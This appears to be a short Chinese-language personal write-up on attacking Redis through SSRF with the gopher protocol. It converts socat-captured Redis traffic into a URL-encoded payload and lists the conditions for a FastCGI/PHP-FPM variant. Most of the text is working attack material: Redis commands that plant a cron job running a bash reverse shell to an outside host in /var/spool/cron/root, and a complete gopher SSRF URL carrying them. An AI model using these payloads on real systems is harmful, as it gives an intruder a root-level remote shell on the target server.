之前没尝试过 SSRF 用 Redis,虽然是老的东西了,但是自己试一下
socat : socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的通道。socat的地址類型很 多,有ip, tcp, udp, ipv6,pipe,exec,system,open,proxy,openssl,等等。
redis 新版本貌似开启了safemode,这里默认bind 127.0.0.1,解除之后进行如下操作。
抓取 redis 发送的流,然后构造成 gopher 协议
转换规则如下:
- 如果第一个字符是
>
或者<
那么丢弃该行字符串,表示请求和返回的时间。 - 如果前3个字符是
+OK
那么丢弃该行字符串,表示返回的字符串。 - 将
\r
字符串替换成%0d%0a
- 空白行替换为
%0a
FastCGI :
详情 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用条件 :
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
-------------------------- 第一次流量
> 2018/05/26 01:27:05.893475 length=88 from=0 to=87
*3\r
$3\r
set\r
$1\r
1\r
$61\r
*/1 * * * * bash -i >& /dev/tcp/1xx.xx.xx9.1x2/9xx8 0>&1
\r
< 2018/05/26 01:27:05.894200 length=5 from=0 to=4
+OK\r
> 2018/05/26 01:27:05.902668 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2018/05/26 01:27:05.903114 length=5 from=0 to=4
+OK\r
> 2018/05/26 01:27:05.909567 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2018/05/26 01:27:05.910023 length=5 from=0 to=4
+OK\r
> 2018/05/26 01:27:05.915667 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2018/05/26 01:27:05.964478 length=5 from=0 to=4
+OK\r
> 2018/05/26 01:27:05.981237 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2018/05/26 01:27:05.982751 length=5 from=0 to=4
+OK\r
----------------------------------------------------
http://localhost/1.php?a=gopher%3A%2f%2f192.168.192.128%3A6379%2f_%2a1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2465%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f1xx.xx.xxx.1xx%2f9898%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a